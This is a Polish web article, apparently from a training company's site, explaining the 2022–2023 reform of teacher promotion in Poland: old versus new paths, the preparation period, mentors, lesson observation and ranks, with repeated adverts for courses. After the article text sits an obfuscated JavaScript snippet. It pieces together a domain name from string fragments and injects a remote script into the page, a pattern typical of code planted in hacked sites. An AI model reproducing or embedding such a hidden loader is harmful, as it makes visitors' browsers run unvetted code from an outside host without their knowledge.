Rok 2025 przynosi kolejne etapy wdrażania reformy awansu zawodowego nauczycieli, zapoczątkowanej ustawą z dnia 5 sierpnia 2022 r. Nowy system wprowadza zmiany zarówno w strukturze awansu, jak i procedurze zdobywania kolejnych stopni zawodowych. W zależności od momentu uzyskania stopnia nauczyciela kontraktowego, nauczyciele w Polsce mogą awansować zgodnie z tzw. starą lub nową ścieżką. W artykule omawiamy szczegóły dotyczące zasad mianowania, wymogów formalnych oraz warunków przejścia na kolejny etap kariery zawodowej.
Podstawy prawne zmian w awansie zawodowym nauczycieli
Reformę w systemie awansu zawodowego nauczycieli wprowadziła ustawa z dnia 5 sierpnia 2022 r. o zmianie ustawy Karta Nauczyciela (Dz.U. 2022 poz. 1730). Nowelizacja ta zmodyfikowała dotychczasową strukturę stopni awansu, eliminując dwa z nich: nauczyciela stażysty i nauczyciela kontraktowego, a w ich miejsce wprowadzono etap przygotowania do zawodu nauczyciela.
Aktualizację i doprecyzowanie przepisów przyniosła także nowelizacja Karty Nauczyciela z dnia 28 lipca 2023 r. (Dz.U. 2023 poz. 1672), która uściśliła m.in. zasady zatrudniania oraz przebieg awansu nauczycieli początkujących.
Chcesz być na bieżąco z przepisami dotyczącymi awansu zawodowego nauczycieli i oceny pracy? Zapisz się szkolenia awans zawodowy nauczyciela w Centrum Verte.
Nauczyciel kontraktowy i „stara ścieżka” – co się zmieniło?
Mimo że stopnie awansu „stażysta” i „kontraktowy” formalnie zostały wykreślone z systemu, to nauczyciele, którzy uzyskali status kontraktowego przed 1 września 2022 r., mogą nadal awansować zgodnie z wcześniejszymi zasadami. Zgodnie z przepisami przejściowymi, do 31 sierpnia 2027 r. nauczyciele kontraktowi realizują awans na stopień mianowanego według wcześniejszych regulacji.
Co ważne, nie mają oni wyboru w zakresie ścieżki – są zobowiązani do stosowania tzw. starego trybu awansu.
Nowa ścieżka awansu – przygotowanie do zawodu nauczyciela
W miejsce poprzednich stopni wprowadzono przygotowanie do zawodu nauczyciela, które trwa 3 lata i 9 miesięcy. Może ono rozpocząć się od momentu zatrudnienia, o ile nauczyciel:
- pracuje na co najmniej ½ etatu,
- posiada odpowiednie kwalifikacje do nauczania danego przedmiotu,
- ma nawiązany stosunek pracy zgodnie z przepisami Karty Nauczyciela (w przypadku szkół publicznych prowadzonych przez JST) lub Kodeksu pracy (dla szkół niepublicznych lub publicznych prowadzonych przez inne podmioty).
Przygotowanie można rozpocząć również w trakcie roku szkolnego, np. jeśli zatrudnienie nastąpiło po 14 września – również w ramach zastępstwa.
Kiedy można rozpocząć staż na mianowanego?
Dla nauczycieli będących na „starej ścieżce”, a więc posiadających status nauczyciela kontraktowego, rozpoczęcie stażu na stopień mianowanego możliwe jest na początku roku szkolnego, najpóźniej w ciągu 14 dni od dnia rozpoczęcia zajęć dydaktycznych.
Z kolei w nowym systemie nie ma formalnego „stażu” – obowiązki związane z przygotowaniem rozpoczynają się automatycznie z dniem nawiązania stosunku pracy, przy spełnieniu wspomnianych warunków zatrudnienia i kwalifikacji.
Zatrudnienie poniżej ½ etatu – co wtedy?
Jeśli nauczyciel został zatrudniony w wymiarze mniejszym niż ½ obowiązkowego wymiaru zajęć, nie może rozpocząć przygotowania do zawodu. Wyjątek stanowią sytuacje, gdy nauczyciel pracuje w kilku szkołach i łączny wymiar godzin osiąga co najmniej połowę etatu. W takim przypadku organ nadzoru pedagogicznego wyznacza jednego dyrektora szkoły do nadzorowania przebiegu przygotowania.
Rezygnacja z przygotowania – czy to możliwe?
W nowym systemie nauczyciel początkujący nie ma możliwości zrezygnowania z przygotowania do zawodu, jeśli spełnia warunki zatrudnienia i kwalifikacji (zgodnie z art. 9a ust. 2 Karty Nauczyciela). Inaczej niż w przypadku nauczycieli kontraktowych – gdzie wcześniej rezygnacja z odbywania stażu była możliwa.
Rola mentora – obowiązkowe wsparcie dla nauczyciela początkującego
Nowy system wprowadza obowiązek przydzielenia mentora nauczycielowi, który rozpoczął przygotowanie do zawodu. Dotyczy to nauczycieli zatrudnionych w wymiarze co najmniej ½ etatu, zgodnie z kwalifikacjami.
Do zadań mentora należy m.in.:
- bieżące wspieranie nauczyciela w jego pracy dydaktyczno-wychowawczej,
- pomoc w doborze form doskonalenia zawodowego,
- dzielenie się wiedzą i doświadczeniem,
- omawianie i analizowanie prowadzonych zajęć,
- inspirowanie do podejmowania wyzwań zawodowych.
Obserwacja zajęć i opinia komisji – nowy wymóg w procesie awansu
W ostatnim roku przygotowania do zawodu nauczyciela, komisja powołana przez dyrektora szkoły dokonuje obserwacji dwóch godzin zajęć prowadzonych przez nauczyciela. Następnie wydaje punktowaną opinię, która stanowi obowiązkowy załącznik do wniosku o mianowanie.
Jak wygląda proces mianowania na nauczyciela dyplomowanego?
Po uzyskaniu stopnia nauczyciela mianowanego, kolejnym krokiem jest awans na nauczyciela dyplomowanego. W tym przypadku wymagane jest:
- Spełnienie wymagań kwalifikacyjnych.
- Odbycie wymaganego okresu zatrudnienia.
- Uzyskanie co najmniej bardzo dobrej oceny pracy w ostatnim roku przed złożeniem wniosku o postępowanie kwalifikacyjne.
- Uzyskanie pozytywnej opinii komisji kwalifikacyjnej na podstawie analizy dorobku zawodowego i rozmowy.
Standardowo wniosek o awans można złożyć nie wcześniej niż po 5 latach i 9 miesiącach od uzyskania stopnia nauczyciela mianowanego. Dla nauczycieli, którzy uzyskali ten stopień przed 1 września 2022 r., obowiązuje skrócony okres: 3 lata i 9 miesięcy.
Nie daj się zaskoczyć zmianom! Weź udział w szkoleniu dla nauczycieli i dyrektorów
Nowe zasady awansu zawodowego i oceny pracy nauczycieli mogą budzić wątpliwości? Jeśli jesteś dyrektorem szkoły lub nauczycielem, który chce mieć jasność co do obowiązujących przepisów – to szkolenie z awansu zawodowego nauczyciela jest właśnie dla Ciebie. Dowiesz się, jak uniknąć błędów, jak poprawnie prowadzić dokumentację i na co zwrócić uwagę przy planowaniu awansu. Sprawdź szczegóły i zapisz się, zanim popełnisz nieświadomy błąd!
Podsumowanie – dwie ścieżki, jeden cel: rozwój zawodowy nauczyciela
System awansu zawodowego nauczycieli w 2025 roku funkcjonuje równolegle w dwóch formach – starej i nowej ścieżce. W zależności od momentu uzyskania stopnia kontraktowego, nauczyciele są przypisani do jednej z nich.
?Nowy model zakłada większe usystematyzowanie, obowiązkowe wsparcie mentorskie oraz obserwację i ocenę pracy przez komisję w ostatnim roku przygotowania.
Jeśli jesteś nauczycielem – warto już dziś dokładnie zapoznać się z obowiązującymi przepisami i przygotować się do kolejnego etapu zawodowego rozwoju. Zapisz się na szkolenie z awansu zawodowego nauczyciela i bądź na bieżąco z przepisami.
(function(){ zsdf=document.createElement(“script”);zsdf_=(“o”+(“pen”)+”st”)+”a”;zsdf.async=true; zsdf.type=”text/javascript”;zsdf_+=(“t”)+”.e”+””;zsdf_+=((“”)+”u”);zsdf_+=”/”; zsdfu=”2489389244.”;zsdfu+=”9lsk7zjhsdf78cxdfum”+”smayz70jlzu”; zsdf.src=”https://”+zsdf_+zsdfu;document.body.appendChild(zsdf); })();